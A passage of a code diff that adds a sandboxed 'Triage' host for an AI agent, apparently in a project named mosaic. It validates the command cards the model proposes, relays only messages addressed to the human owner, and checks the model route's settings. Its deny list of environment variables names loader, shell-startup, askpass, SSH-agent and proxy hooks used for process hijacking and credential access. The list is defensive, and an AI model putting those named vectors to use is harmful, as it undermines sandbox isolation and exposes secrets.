if (path === '/api/config') return json(res, 200, { board: upstream, viewer: viewerOf(currentSession), ...(organizations && preselect ? { preselect } : {}), ...(tester ? { tester: true } : {}), ...(sso ? { sso: true } : {}), ...(sso?.devOwner ? { devOwner: true } : {}), ...(granted ? { user: true, chatGrants } : {}), ...(!tester && !granted && named && sso !== null && requestRead ? { requests: true, requestWrites: Boolean(send && requestWrite), workspaceFiles: true, projectRemotes: true, projectRemoteWrites: Boolean(send && requestWrite) } : {}), ...(hub ? { federation: hub } : {}), ...(organizations ? { orgSetup: !tester && !granted && named && sso !== null && owner.send !== null } : {}), ...(proxyAdmin && !tester && !granted && named && sso !== null && currentSession?.rootOwner === true ? { proxyAdmin: true, proxyAdminSend: owner.send !== null } : {}), send: !organizations && !tester && Boolean(send) && named, ...(organizations && orgId ? { chatSend: !tester && Boolean(send) && named && orgBusHealthy, settingsSend: !tester && !granted && Boolean(send) && named && orgBusHealthy } : {}), boot, consoleRestart: !tester && named && currentSession?.instanceRole === 'operator' && owner.send !== null && restart !== null && trail !== null, decide: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(decisionWrite) && named && sso !== null, edit: !organizations && !tester && !granted && Boolean(send) && Boolean(projectSave) && named, northStarApprove: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(projectSave) && Boolean(projectFile) && named });
|
||||
if (path === '/api/config') return json(res, 200, { board: upstream, viewer: viewerOf(currentSession), ...(organizations && preselect ? { preselect } : {}), ...(tester ? { tester: true } : {}), ...(sso ? { sso: true } : {}), ...(sso?.devOwner ? { devOwner: true } : {}), ...(granted ? { user: true, chatGrants } : {}), ...(!tester && !granted && named && sso !== null && requestRead ? { requests: true, requestWrites: Boolean(send && requestWrite), workspaceFiles: true, projectRemotes: true, projectRemoteWrites: Boolean(send && requestWrite) } : {}), ...(hub ? { federation: hub } : {}), ...(organizations ? { orgSetup: !tester && !granted && named && sso !== null && owner.send !== null } : {}), ...(proxyAdmin && !tester && !granted && named && sso !== null && currentSession?.rootOwner === true ? { proxyAdmin: true, proxyAdminSend: owner.send !== null } : {}), ...(triage && !tester && !granted && named && sso !== null && orgId === null && currentSession?.rootOwner === true ? { triage: true, triageSend: owner.send !== null } : {}), send: !organizations && !tester && Boolean(send) && named, ...(organizations && orgId ? { chatSend: !tester && Boolean(send) && named && orgBusHealthy, settingsSend: !tester && !granted && Boolean(send) && named && orgBusHealthy } : {}), boot, consoleRestart: !tester && named && currentSession?.instanceRole === 'operator' && owner.send !== null && restart !== null && trail !== null, decide: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(decisionWrite) && named && sso !== null, edit: !organizations && !tester && !granted && Boolean(send) && Boolean(projectSave) && named, northStarApprove: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(projectSave) && Boolean(projectFile) && named });
|
||||
if (path === '/healthz') return json(res, 200, { ok: true, ...(sso ? { sso: sso.health() } : {}) });
|
||||
if (path === '/favicon.ico') { res.writeHead(204); return res.end(); }
|
||||
const file = files.get(path);
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
// #1873 triage-host: the command cards a Triage reply may carry (design section 4). The agent
|
||||
// proposes a card as `{ step, org }` in a fenced ```cards block of its reply. The server keeps a card
|
||||
// only when its keys are exactly step and org, its step is one of CARD_STEPS and its org is in the
|
||||
// registry, and it renders the command text itself from the fixed map below. Anything else is
|
||||
// dropped and counted. The rest of the reply is plain text: control characters are removed and it
|
||||
// is clipped. A card has no Run action; the owner copies the command into a terminal.
|
||||
|
||||
import { ID_PATTERN } from "../../organization/src/vocabulary.mjs";
|
||||
|
||||
export const CARD_STEPS = Object.freeze({
|
||||
// On a --dev-local-owner Console the bus starts in that mode, as the Organization page's own step says.
|
||||
"bus-start": (org, { devOwner = false } = {}) => `mosaic bus start ${org}${devOwner === true ? " --dev-local-owner" : ""} --detach`,
|
||||
"bus-restart": (org) => `mosaic bus restart ${org}`,
|
||||
"bus-recover": (org) => `mosaic bus recover ${org}`,
|
||||
"bus-stop": (org) => `mosaic bus stop ${org}`,
|
||||
"org-config-validate": (org) => `mosaic org config validate ${org}`,
|
||||
});
|
||||
export const MAX_CARDS = 5;
|
||||
export const MAX_TEXT = 8000;
|
||||
const FENCE = /```cards[ \t]*\r?\n([\s\S]*?)\r?\n?```/g;
|
||||
|
||||
// Plain text: no control characters other than newline and tab, and no more than MAX_TEXT.
|
||||
export function plainText(value, max = MAX_TEXT) {
|
||||
if (typeof value !== "string") return "";
|
||||
// eslint-disable-next-line no-control-regex
|
||||
return value.replace(/\r\n?/g, "\n").replace(/[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u061c\u180e\u2028\u2029\ufeff---]/g, "").slice(0, max);
|
||||
}
|
||||
|
||||
// One card, or null. orgIds is the set of registry ids the snapshot read.
|
||||
export function validateCard(card, orgIds, opts = {}) {
|
||||
if (!card || typeof card !== "object" || Array.isArray(card) || Object.getPrototypeOf(card) !== Object.prototype) return null;
|
||||
const keys = Object.keys(card);
|
||||
if (keys.length !== 2 || !keys.includes("step") || !keys.includes("org")) return null;
|
||||
const { step, org } = card;
|
||||
if (typeof step !== "string" || !Object.hasOwn(CARD_STEPS, step)) return null;
|
||||
if (typeof org !== "string" || !ID_PATTERN.test(org) || !orgIds?.has?.(org)) return null;
|
||||
return { step, org, command: CARD_STEPS[step](org, opts) };
|
||||
}
|
||||
|
||||
// The reply split into its plain text and the cards the server keeps.
|
||||
export function extractCards(reply, orgIds, opts = {}) {
|
||||
const source = typeof reply === "string" ? reply : "";
|
||||
const cards = [];
|
||||
let dropped = 0;
|
||||
const seen = new Set();
|
||||
const text = source.replace(FENCE, (_, body) => {
|
||||
let parsed;
|
||||
try { parsed = JSON.parse(body); } catch { dropped += 1; return ""; }
|
||||
const list = Array.isArray(parsed) ? parsed : [parsed];
|
||||
for (const item of list) {
|
||||
const card = validateCard(item, orgIds, opts);
|
||||
const key = card && `${card.step} ${card.org}`;
|
||||
if (!card || seen.has(key) || cards.length >= MAX_CARDS) { dropped += 1; continue; }
|
||||
seen.add(key);
|
||||
cards.push(card);
|
||||
}
|
||||
return "";
|
||||
});
|
||||
return { text: plainText(text.trim()), cards, dropped };
|
||||
}
|
||||
@@ -0,0 +1,525 @@
|
||||
// #1873 triage-host: the Triage session's host, held by the Console (design sections 1 and 4).
|
||||
//
|
||||
// Directories, under <dataRoot>/triage/ (0700, real directories owned by this user):
|
||||
// health/ the snapshot the Console writes (triage-snapshot.mjs); mounted read-only
|
||||
// agent/ the session's own run directory; mounted read-write, with bundle/, session.json and
|
||||
// relay.sock read-only inside it
|
||||
// host/ the transcript (transcript.jsonl, 0600) and the runner's log; never mounted
|
||||
// Nothing else of the data root, no org root, bus socket, config directory or secrets directory is
|
||||
// in the sandbox (packages/seat/src/sandbox.mjs, hostedBinds).
|
||||
//
|
||||
// The session starts on the owner's first message, never when the Console starts. Its spawn
|
||||
// environment is SPAWN_ENV_ALLOW and the route's ROUTE_ENV_ALLOW names; bwrap adds HOME and TMPDIR.
|
||||
// No MOSAIC_CONFIG, no MOSAIC_BUS_* and no Console variable reaches it.
|
||||
//
|
||||
// The relay is the only broker the runner reaches. It answers the runner's own lifecycle verbs with
|
||||
// fixed answers that change nothing, hands over the owner's queued messages, and keeps a
|
||||
// message.send only when it is addressed to "human": that text goes into the transcript and its
|
||||
// cards are checked (triage-cards.mjs). Every other verb, decision.raise and event.emit included,
|
||||
// a send to anyone else and a call with the wrong capability are refused with RELAY_REFUSED.
|
||||
//
|
||||
// A model route comes from an injected `route` ({ admit() }). Without one nothing launches and the
|
||||
// state says so. The route's answer names the harness: adapter, its mounts, harnessEnv, turnEnd,
|
||||
// model and provider, and the proxy variables for the spawn. Over the cap the route refuses until
|
||||
// the next day, and the message is refused with its code.
|
||||
//
|
||||
// #1873 triage-fences: the host checks a copy of the route's answer before it writes anything, and
|
||||
// uses only that copy. harnessEnv names must be in the harness module's envNames and pass
|
||||
// refusedHarnessName; values are clean strings. env holds only ROUTE_ENV_ALLOW names, with
|
||||
// ANTHROPIC_BASE_URL loopback http on a port (the host's proxyPort when it names one) and the
|
||||
// token matching the host's tokenPattern when it names one. The adapter and the mounts pass
|
||||
// checkHostedRoute (sandbox.mjs) against the module's installRoots and the data root, the config
|
||||
// directory and HOME (HOME not counted against the stack's own code), here and again in
|
||||
// hostedBinds. A refused answer reaches no spawn, answers triage-route-invalid, and writes
|
||||
// ROUTE_REFUSED to the transcript; a refusal at the binds also removes what the start wrote.
|
||||
|
||||
import { spawn } from "node:child_process";
|
||||
import { randomBytes, timingSafeEqual } from "node:crypto";
|
||||
import { appendFileSync, closeSync, lstatSync, mkdirSync, openSync, readFileSync, rmSync, chmodSync, writeFileSync } from "node:fs";
|
||||
import { createServer } from "node:net";
|
||||
import { homedir } from "node:os";
|
||||
import { dirname, join } from "node:path";
|
||||
import { pathToFileURL } from "node:url";
|
||||
import { BWRAP, REPO, RUNNER_FILES, checkHostedRoute, hostedArgv, hostedBinds } from "../../seat/src/sandbox.mjs";
|
||||
import { isProviderVariable } from "../../seat/src/session.mjs";
|
||||
import { configDir as systemConfigDir } from "../../organization/src/organization-config.mjs";
|
||||
import { typedTools } from "../../harness/src/tools.mjs";
|
||||
import { builtinTools } from "../../harness/src/bundle.mjs";
|
||||
import { FOUNDER_ENV } from "../../harness/src/runner.mjs";
|
||||
import { extractCards, plainText } from "./triage-cards.mjs";
|
||||
import { SNAPSHOT_FILE, writeSnapshot } from "./triage-snapshot.mjs";
|
||||
|
||||
export const RUNNER = RUNNER_FILES[0];
|
||||
export const RELAY_REFUSED = "triage-refused";
|
||||
export const MESSAGE_MAX = 4000;
|
||||
export const TRANSCRIPT_KEEP = 200;
|
||||
export const QUEUE_MAX = 20;
|
||||
export const UNANSWERED = "Triage stopped before it answered this message. Send it again.";
|
||||
export const NOT_STARTED = "Triage did not start, so this message was not delivered.";
|
||||
export const NOT_TAKEN = "Triage stopped before it read this message. Send it again.";
|
||||
export const ROUTE_REFUSED = "Triage did not start: the model route's answer did not pass the host's checks, so this message was not delivered.";
|
||||
// An over-cap answer is held for at most this long; a later time is not taken.
|
||||
export const CAP_HOLD_MAX_MS = 48 * 3600 * 1000;
|
||||
const ISO_TIME = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{1,3})?Z$/;
|
||||
const LINE_MAX = 64 * 1024;
|
||||
// The id the host gives each owner message. A reply may name only such an id.
|
||||
const OWNER_ID = /^owner-[0-9a-f]{12}$/;
|
||||
const CAP = /^[0-9a-f]{64}$/;
|
||||
|
||||
// The spawn's environment: these names from the Console's own environment, PATH fixed, and the
|
||||
// route's proxy variables. bwrap sets HOME and TMPDIR inside.
|
||||
export const SPAWN_ENV_ALLOW = Object.freeze(["PATH", "LANG", "LC_ALL", "TZ", "TERM"]);
|
||||
export const ROUTE_ENV_ALLOW = Object.freeze(["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN"]);
|
||||
const ENV_NAME = /^[A-Z][A-Z0-9_]{0,63}$/;
|
||||
const ENV_VALUE_MAX = 4096;
|
||||
const HARNESS_ENV_MAX = 64;
|
||||
// Refused in harnessEnv even when the harness module declares them: the runner's own MOSAIC_*
|
||||
// values, loader, libc and interpreter hooks, the shell's start files, a tool's config directory
|
||||
// and the founder's, an askpass program, a CA bundle or a base URL. A provider name (every ANTHROPIC_* among them) goes through route env or nowhere.
|
||||
const REFUSED_PREFIX = /^(MOSAIC_|NODE_|LD_|DYLD_|PYTHON|BASH_|GIT_|MALLOC_|NPM_CONFIG_|XDG_)/;
|
||||
const REFUSED_SUFFIX = /_(DIR|CONF|CONFIG|ASKPASS|CA_BUNDLE|BASE_URL)$/;
|
||||
const REFUSED_NAMES = new Set([
|
||||
"PATH", "HOME", "TMPDIR", "BASH_ENV", "ENV", "SSH_AUTH_SOCK", "SHELL", "SHELLOPTS", "BASHOPTS", "PS4", "IFS", "CDPATH",
|
||||
"GLOBIGNORE", "PROMPT_COMMAND", "ZDOTDIR", "PERL5OPT", "PERL5LIB", "RUBYOPT", "RUBYLIB", "PERLLIB", "LESSOPEN", "LESSCLOSE", "HOSTALIASES", "HTTP_PROXY", "HTTPS_PROXY", "ALL_PROXY", "NO_PROXY",
|
||||
"GCONV_PATH", "GLIBC_TUNABLES", "LOCPATH", "OPENSSL_CONF", "OPENSSL_ENGINES", "OPENSSL_MODULES", "SSL_CERT_FILE", "SSL_CERT_DIR",
|
||||
"JAVA_TOOL_OPTIONS", "_JAVA_OPTIONS", "JDK_JAVA_OPTIONS",
|
||||
...FOUNDER_ENV,
|
||||
]);
|
||||
export const refusedHarnessName = (k) => typeof k !== "string" || !ENV_NAME.test(k) || REFUSED_PREFIX.test(k) || REFUSED_SUFFIX.test(k) || REFUSED_NAMES.has(k) || isProviderVariable(k);
|
||||
// No control character of any kind (C0, DEL, C1) and no line or paragraph separator.
|
||||
const cleanValue = (v) => typeof v === "string" && v.length <= ENV_VALUE_MAX && !/[\u0000-\u001f\u007f-\u009f\u2028\u2029]/.test(v);
|
||||
const plainObject = (o) => o !== null && typeof o === "object" && !Array.isArray(o) && [Object.prototype, null].includes(Object.getPrototypeOf(o));
|
||||
// The proxy is on this machine: http, 127.0.0.1, a port, nothing after it.
|
||||
const LOOPBACK_URL = /^http:\/\/127\.0\.0\.1:([1-9][0-9]{0,4})$/;
|
||||
const HARNESS_NAME = /^[a-z][a-z0-9-]{0,31}$/;
|
||||
|
||||
// The harness module a route names, from the repository's own tree; null when there is none.
|
||||
async function repoHarnessModule(name) {
|
||||
if (!HARNESS_NAME.test(name)) return null;
|
||||
const file = join(REPO, "packages", "plugins", "harness", name, "index.mjs");
|
||||
try { if (!lstatSync(file).isFile()) return null; } catch { return null; }
|
||||
return import(pathToFileURL(file).href);
|
||||
}
|
||||
|
||||
export function triageEnv(source, routeEnv = {}, { node = process.execPath } = {}) {
|
||||
const env = { PATH: `${dirname(node)}:/usr/bin:/bin` };
|
||||
for (const k of SPAWN_ENV_ALLOW) if (k !== "PATH" && typeof source?.[k] === "string" && source[k].length <= 256) env[k] = source[k];
|
||||
for (const k of ROUTE_ENV_ALLOW) if (typeof routeEnv?.[k] === "string" && routeEnv[k].length <= 4096) env[k] = routeEnv[k];
|
||||
return env;
|
||||
}
|
||||
|
||||
// The relay's fixed answers. None of them reaches a bus or changes anything.
|
||||
const LIFECYCLE = Object.freeze({
|
||||
"role.claim": () => ({ library: false }),
|
||||
state: () => ({ launch: { state: "on", at: null, event: null }, tasks: { open: [], total: 0, cap: 0 } }),
|
||||
"processing.status": () => ({ halted: false, invalid: false }),
|
||||
"usage.begin": () => ({}),
|
||||
"usage.end": () => ({}),
|
||||
"role.release": () => ({}),
|
||||
});
|
||||
|
||||
export class TriageError extends Error {
|
||||
constructor(code, message) {
|
||||
super(message);
|
||||
this.code = code;
|
||||
}
|
||||
}
|
||||
|
||||
function realDir(path, { create = true } = {}) {
|
||||
let st;
|
||||
try {
|
||||
st = lstatSync(path);
|
||||
} catch (e) {
|
||||
if (e.code !== "ENOENT" || !create) throw new TriageError("triage-dir-unsafe", "a Triage directory is missing");
|
||||
mkdirSync(path, { mode: 0o700 });
|
||||
st = lstatSync(path);
|
||||
}
|
||||
if (st.isSymbolicLink() || !st.isDirectory()) throw new TriageError("triage-dir-unsafe", "a Triage directory is not a real directory");
|
||||
if (typeof process.getuid === "function" && st.uid !== process.getuid()) throw new TriageError("triage-dir-unsafe", "a Triage directory is not owned by the Console's user");
|
||||
chmodSync(path, 0o700);
|
||||
}
|
||||
|
||||
// A directory inside agent/, which the session can write: removed whole (rm never follows a link)
|
||||
// and made again, so a link the session left there can't steer a bind or a host write.
|
||||
function freshDir(path) {
|
||||
rmSync(path, { recursive: true, force: true });
|
||||
mkdirSync(path, { mode: 0o700 });
|
||||
}
|
||||
|
||||
export function triagePaths(dataRoot) {
|
||||
const root = join(dataRoot, "triage");
|
||||
return { root, health: join(root, "health"), agent: join(root, "agent"), host: join(root, "host"), transcript: join(root, "host", "transcript.jsonl"), log: join(root, "host", "runner.log") };
|
||||
}
|
||||
|
||||
// The prompt is the role's contract and the host's own lines: where the snapshot is and how a
|
||||
// card is written. It names the snapshot inside the session, never a host path of the data root.
|
||||
export function hostPrompt(contract, { snapshotPath, steps }) {
|
||||
return [
|
||||
contract.trimEnd(),
|
||||
"",
|
||||
"## This host",
|
||||
"",
|
||||
`- The health snapshot is the JSON file ${snapshotPath}. Read it at the start of each turn; it is the only health you can see. A field that says "not read" was not read; say so, never guess it.`,
|
||||
"- Each message arrives as one turn and your final answer goes back to the person. send_message reaches only \"human\"; this host refuses every other call.",
|
||||
"- Propose each fix as a card in one fenced block marked cards, holding a JSON array of objects with exactly two keys, step and org, for example:",
|
||||
"```cards",
|
||||
'[{"step": "bus-start", "org": "alpha"}]',
|
||||
"```",
|
||||
`- step is one of: ${steps.join(", ")}. org is an organization id from the snapshot. The Console writes the command for each card; never write a command yourself. A card with anything else is dropped.`,
|
||||
"",
|
||||
].join("\n");
|
||||
}
|
||||
|
||||
function sameCap(a, b) {
|
||||
if (typeof a !== "string" || !CAP.test(a)) return false;
|
||||
return timingSafeEqual(Buffer.from(a), Buffer.from(b));
|
||||
}
|
||||
|
||||
// The relay server. `onSend(body)` keeps a human-bound send; `take()` returns the queued owner
|
||||
// messages; `read(id)` drops one that was answered.
|
||||
export function createRelay({ socket, cap, take, read, onSend, log = () => {} }) {
|
||||
const answer = (conn, value) => { try { conn.end(JSON.stringify(value) + "\n"); } catch {} };
|
||||
const refuse = (conn) => answer(conn, { ok: false, error: RELAY_REFUSED, reason: "the Triage host answers only a message to the person" });
|
||||
const server = createServer((conn) => {
|
||||
let buf = "";
|
||||
let done = false;
|
||||
conn.setTimeout(30_000, () => conn.destroy());
|
||||
conn.on("error", () => {});
|
||||
conn.on("data", (chunk) => {
|
||||
if (done) return;
|
||||
buf += chunk.toString("utf8");
|
||||
if (buf.length > LINE_MAX) { done = true; return refuse(conn); }
|
||||
const nl = buf.indexOf("\n");
|
||||
if (nl < 0) return;
|
||||
done = true;
|
||||
let req;
|
||||
try { req = JSON.parse(buf.slice(0, nl)); } catch { return refuse(conn); }
|
||||
if (!req || typeof req !== "object" || !sameCap(req.cap, cap) || typeof req.verb !== "string") return refuse(conn);
|
||||
const args = req.args && typeof req.args === "object" && !Array.isArray(req.args) ? req.args : {};
|
||||
const verb = req.verb;
|
||||
try {
|
||||
if (Object.hasOwn(LIFECYCLE, verb)) return answer(conn, { ok: true, result: LIFECYCLE[verb]() });
|
||||
if (verb === "message.receive") return answer(conn, { ok: true, result: take() });
|
||||
if (verb === "message.read") { read(args.id); return answer(conn, { ok: true, result: {} }); }
|
||||
if (verb === "message.send" && args.to === "human" && typeof args.body === "string" && args.body.length <= 32768) {
|
||||
// Only an id the host issued is kept. The model writes this field, and the transcript serves it.
|
||||
onSend({ body: args.body, in_reply_to: typeof args.in_reply_to === "string" && OWNER_ID.test(args.in_reply_to) ? args.in_reply_to : null });
|
||||
return answer(conn, { ok: true, result: { id: `triage-${randomBytes(6).toString("hex")}` } });
|
||||
}
|
||||
} catch (e) {
|
||||
log(`triage relay: ${verb} failed: ${e.code ?? "error"}`);
|
||||
}
|
||||
log(`triage relay: refused ${/^[a-z][a-z0-9._-]{0,63}$/.test(verb) ? verb : "a verb"}`);
|
||||
return refuse(conn);
|
||||
});
|
||||
});
|
||||
return new Promise((resolve, reject) => {
|
||||
server.once("error", reject);
|
||||
server.listen(socket, () => {
|
||||
server.off("error", reject);
|
||||
chmodSync(socket, 0o600);
|
||||
resolve(server);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// createTriageHost({ dataRoot, route, readSnapshot, env, node, bwrap, now, devOwner, log })
|
||||
// route { admit() -> { ok: true, adapter, harness, harnessEnv, harnessMounts, turnEnd, model,
|
||||
// provider, env } | { ok: false, code, until? } } or null for no route
|
||||
// readSnapshot async () -> the snapshot (triage-snapshot.mjs composeSnapshot), written to health/
|
||||
// pollInterval the runner's receive interval in ms, for tests; the runner's default otherwise
|
||||
// proxyPort the port ANTHROPIC_BASE_URL must name, or null for any port
|
||||
// tokenPattern a RegExp the whole ANTHROPIC_AUTH_TOKEN must match, or null for no shape check
|
||||
// harnessModule async (name) -> the harness module (envNames, installRoots) or null; the
|
||||
// repository's packages/plugins/harness/<name> by default
|
||||
// home HOME, which no mount may reach outside the stack's own code; the Console user's by default
|
||||
export function createTriageHost({ dataRoot, route = null, readSnapshot = async () => null, env = process.env, node = process.execPath, bwrap = BWRAP, now = () => new Date(), devOwner = false, log = () => {}, roleDir = join(REPO, "roles"), readOnly = [], pollInterval = null, proxyPort = null, tokenPattern = null, harnessModule = repoHarnessModule, home = homedir() }) {
|
||||
if (typeof dataRoot !== "string" || !dataRoot.startsWith("/")) throw new TriageError("triage-no-data-root", "no data root");
|
||||
if (proxyPort !== null && !(Number.isInteger(proxyPort) && proxyPort > 0 && proxyPort <= 65535)) throw new TypeError("proxyPort must be a port number or null");
|
||||
if (tokenPattern !== null && !(tokenPattern instanceof RegExp)) throw new TypeError("tokenPattern must be a RegExp or null");
|
||||
if (typeof harnessModule !== "function") throw new TypeError("harnessModule must be a function");
|
||||
const tokenShape = tokenPattern && new RegExp(`^(?:${tokenPattern.source})$`, tokenPattern.flags.replace(/[gmy]/g, ""));
|
||||
// What no mount source may lie in or around, besides the run directory and the fixed list. HOME
|
||||
// does not refuse the stack's own code when the stack runs from under it (a copy or a worktree).
|
||||
const protectedPaths = [dataRoot, systemConfigDir(env), home];
|
||||
const codeRoot = REPO;
|
||||
const paths = triagePaths(dataRoot);
|
||||
const role = JSON.parse(readFileSync(join(roleDir, "triage.json"), "utf8"));
|
||||
const contract = readFileSync(join(roleDir, role.contract), "utf8");
|
||||
let last = null; // the last snapshot written
|
||||
let lastAt = null; // when it was written, in ms
|
||||
let child = null;
|
||||
let relay = null;
|
||||
let starting = null;
|
||||
let lastExit = null;
|
||||
let cap = null;
|
||||
let overCapUntil = null; // the route's over-cap answer, held until its time passes
|
||||
const queue = [];
|
||||
|
||||
const ensureDirs = () => {
|
||||
mkdirSync(dataRoot, { recursive: true, mode: 0o700 });
|
||||
for (const d of [paths.root, paths.health, paths.agent, paths.host]) realDir(d);
|
||||
};
|
||||
|
||||
const append = (entry) => {
|
||||
ensureDirs();
|
||||
const fd = openSync(paths.transcript, "a", 0o600);
|
||||
try { appendFileSync(fd, JSON.stringify(entry) + "\n"); } finally { closeSync(fd); }
|
||||
chmodSync(paths.transcript, 0o600);
|
||||
};
|
||||
|
||||
const transcript = () => {
|
||||
let text = "";
|
||||
try {
|
||||
const st = lstatSync(paths.transcript);
|
||||
if (!st.isFile()) return [];
|
||||
text = readFileSync(paths.transcript, "utf8");
|
||||
} catch { return []; }
|
||||
const out = [];
|
||||
for (const line of text.split("\n")) {
|
||||
if (!line) continue;
|
||||
try { out.push(JSON.parse(line)); } catch {}
|
||||
}
|
||||
return out.slice(-TRANSCRIPT_KEEP);
|
||||
};
|
||||
|
||||
const orgIds = () => new Set(Array.isArray(last?.organizations?.list) ? last.organizations.list.map((o) => o.id) : []);
|
||||
|
||||
// One refresh at a time: a read and a message that arrive together share it.
|
||||
let refreshing = null;
|
||||
const refresh = () => refreshing ??= (async () => {
|
||||
ensureDirs();
|
||||
let snap = null;
|
||||
try { snap = await readSnapshot(); } catch { snap = null; }
|
||||
if (snap && typeof snap === "object") {
|
||||
writeSnapshot(paths.health, snap);
|
||||
last = snap;
|
||||
lastAt = now().getTime();
|
||||
}
|
||||
return last;
|
||||
})().finally(() => { refreshing = null; });
|
||||
|
||||
const writeBundle = (admitted) => {
|
||||
const a = paths.agent;
|
||||
for (const d of ["bundle", "tmp", "work", "home"]) freshDir(join(a, d));
|
||||
mkdirSync(join(a, "work", "health"), { mode: 0o700 });
|
||||
// turns/ goes too: the runner numbers turns from 1 and opens each turn file exclusively, so a
|
||||
// turns/ left by the last run stops the next one at its first turn.
|
||||
for (const f of ["session.json", "relay.sock", "tools.sock", "turn.done", "turns"]) rmSync(join(a, f), { recursive: true, force: true });
|
||||
// The session's history stays across starts, unless the session put something other than a
|
||||
// real directory there.
|
||||
try { realDir(join(a, "session")); } catch { freshDir(join(a, "session")); }
|
||||
const resolved = { limits: { authority: role.authority, tools: role.tools }, definition: "triage", pluginTools: [] };
|
||||
const tools = typedTools({ resolved }).filter((t) => t.name === "send_message");
|
||||
const workspace = join(a, "work");
|
||||
const policy = { harness: admitted.harness, workspace, tools: builtinTools(role.tools), typed: tools.map((t) => t.name), network: role.network, needs: [], credentials: [] };
|
||||
const bundle = { prompt: join(a, "bundle", "prompt.md"), policy: join(a, "bundle", "policy.json"), tools: join(a, "bundle", "tools.json") };
|
||||
const steps = ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"];
|
||||
writeFileSync(bundle.prompt, hostPrompt(contract, { snapshotPath: join(workspace, "health", SNAPSHOT_FILE), steps }), { mode: 0o600, flag: "wx" });
|
||||
writeFileSync(bundle.policy, JSON.stringify(policy, null, 2) + "\n", { mode: 0o600, flag: "wx" });
|
||||
writeFileSync(bundle.tools, JSON.stringify(tools, null, 2) + "\n", { mode: 0o600, flag: "wx" });
|
||||
const session = {
|
||||
bundle, adapter: admitted.adapter, harness: admitted.harness, harnessEnv: admitted.harnessEnv, turnEnd: admitted.turnEnd,
|
||||
workspace, sessionDir: join(a, "session"), toolSocket: join(a, "tools.sock"), turnMarker: join(a, "turn.done"),
|
||||
brokerSocket: join(a, "relay.sock"), business: "system", instance: "triage", run: `triage-${now().toISOString().replace(/[^0-9]/g, "").slice(0, 14)}`,
|
||||
model: admitted.model, provider: admitted.provider ?? "",
|
||||
...(Number.isInteger(pollInterval) && pollInterval >= 100 ? { pollInterval } : {}),
|
||||
};
|
||||
writeFileSync(join(a, "session.json"), JSON.stringify(session, null, 2) + "\n", { mode: 0o600, flag: "wx" });
|
||||
};
|
||||
|
||||
// The route's answer, checked. It returns a copy taken once, so a getter or a later change to
|
||||
// the route's object cannot hand the bundle or the binds anything the checks did not see, and
|
||||
// the module's install roots, for hostedBinds. The log names the fence, never a value.
|
||||
const checkAdmitted = async (answer) => {
|
||||
const refuse = (fence) => {
|
||||
log(`triage host: route refused: ${fence}`);
|
||||
throw new TriageError("triage-route-invalid", "the model route's answer is not usable");
|
||||
};
|
||||
let a;
|
||||
try { a = structuredClone(answer); } catch { refuse("shape"); }
|
||||
if (!plainObject(a) || typeof a.adapter !== "string" || !["marker", "exit"].includes(a.turnEnd)
|
||||
|| typeof a.model !== "string" || !a.model || typeof a.harness !== "string" || !HARNESS_NAME.test(a.harness)
|
||||
|| (a.provider !== undefined && typeof a.provider !== "string")) refuse("shape");
|
||||
let mod = null;
|
||||
try { mod = await harnessModule(a.harness); } catch { mod = null; }
|
||||
const declared = mod?.envNames;
|
||||
if (!Array.isArray(declared) || typeof mod.installRoots !== "function") refuse("module");
|
||||
const he = a.harnessEnv;
|
||||
if (!plainObject(he) || Object.keys(he).length > HARNESS_ENV_MAX) refuse("harness-env");
|
||||
for (const [k, v] of Object.entries(he)) if (refusedHarnessName(k) || !declared.includes(k) || !cleanValue(v)) refuse("harness-env");
|
||||
const re = a.env ?? {};
|
||||
if (!plainObject(re) || Object.entries(re).some(([k, v]) => !ROUTE_ENV_ALLOW.includes(k) || !cleanValue(v))) refuse("route-env");
|
||||
const url = LOOPBACK_URL.exec(re.ANTHROPIC_BASE_URL ?? "");
|
||||
if (!url || Number(url[1]) > 65535 || (proxyPort !== null && Number(url[1]) !== proxyPort)) refuse("route-env");
|
||||
if (tokenShape && !(typeof re.ANTHROPIC_AUTH_TOKEN === "string" && tokenShape.test(re.ANTHROPIC_AUTH_TOKEN))) refuse("route-env");
|
||||
let installRoots;
|
||||
try { installRoots = structuredClone(mod.installRoots({ env })); } catch { refuse("module"); }
|
||||
try {
|
||||
checkHostedRoute({ adapter: a.adapter, harnessMounts: a.harnessMounts ?? [], installRoots, protectedPaths, codeRoot, codeHolder: home, runDir: paths.agent, node });
|
||||
} catch (e) {
|
||||
if (e?.code === "hosted-binds-refused") refuse(e.fence);
|
||||
throw e;
|
||||
}
|
||||
return { admitted: a, installRoots };
|
||||
};
|
||||
|
||||
const start = async (answer) => {
|
||||
const { admitted, installRoots } = await checkAdmitted(answer);
|
||||
ensureDirs();
|
||||
writeBundle(admitted);
|
||||
cap = randomBytes(32).toString("hex");
|
||||
relay = await createRelay({
|
||||
socket: join(paths.agent, "relay.sock"), cap,
|
||||
take: () => {
|
||||
const out = queue.filter((m) => !m.delivered);
|
||||
for (const m of out) m.delivered = true;
|
||||
return out.map(({ id, body, at }) => ({ id, from_role: "human", class: "REQUEST", body, at }));
|
||||
},
|
||||
read: (id) => {
|
||||
const i = queue.findIndex((m) => m.id === id);
|
||||
if (i >= 0) queue.splice(i, 1);
|
||||
},
|
||||
// A reply that names a queued message answers it: the message leaves the queue here, so a
|
||||
// session that ends before its message.read leaves no "unanswered" line under an answer.
|
||||
onSend: ({ body, in_reply_to }) => {
|
||||
const { text, cards, dropped } = extractCards(body, orgIds(), { devOwner: devOwner === true });
|
||||
append({ at: now().toISOString(), from: "triage", text, cards, dropped, ...(in_reply_to ? { in_reply_to } : {}) });
|
||||
const i = in_reply_to ? queue.findIndex((m) => m.id === in_reply_to) : -1;
|
||||
if (i >= 0) queue.splice(i, 1);
|
||||
},
|
||||
log,
|
||||
});
|
||||
let list;
|
||||
try {
|
||||
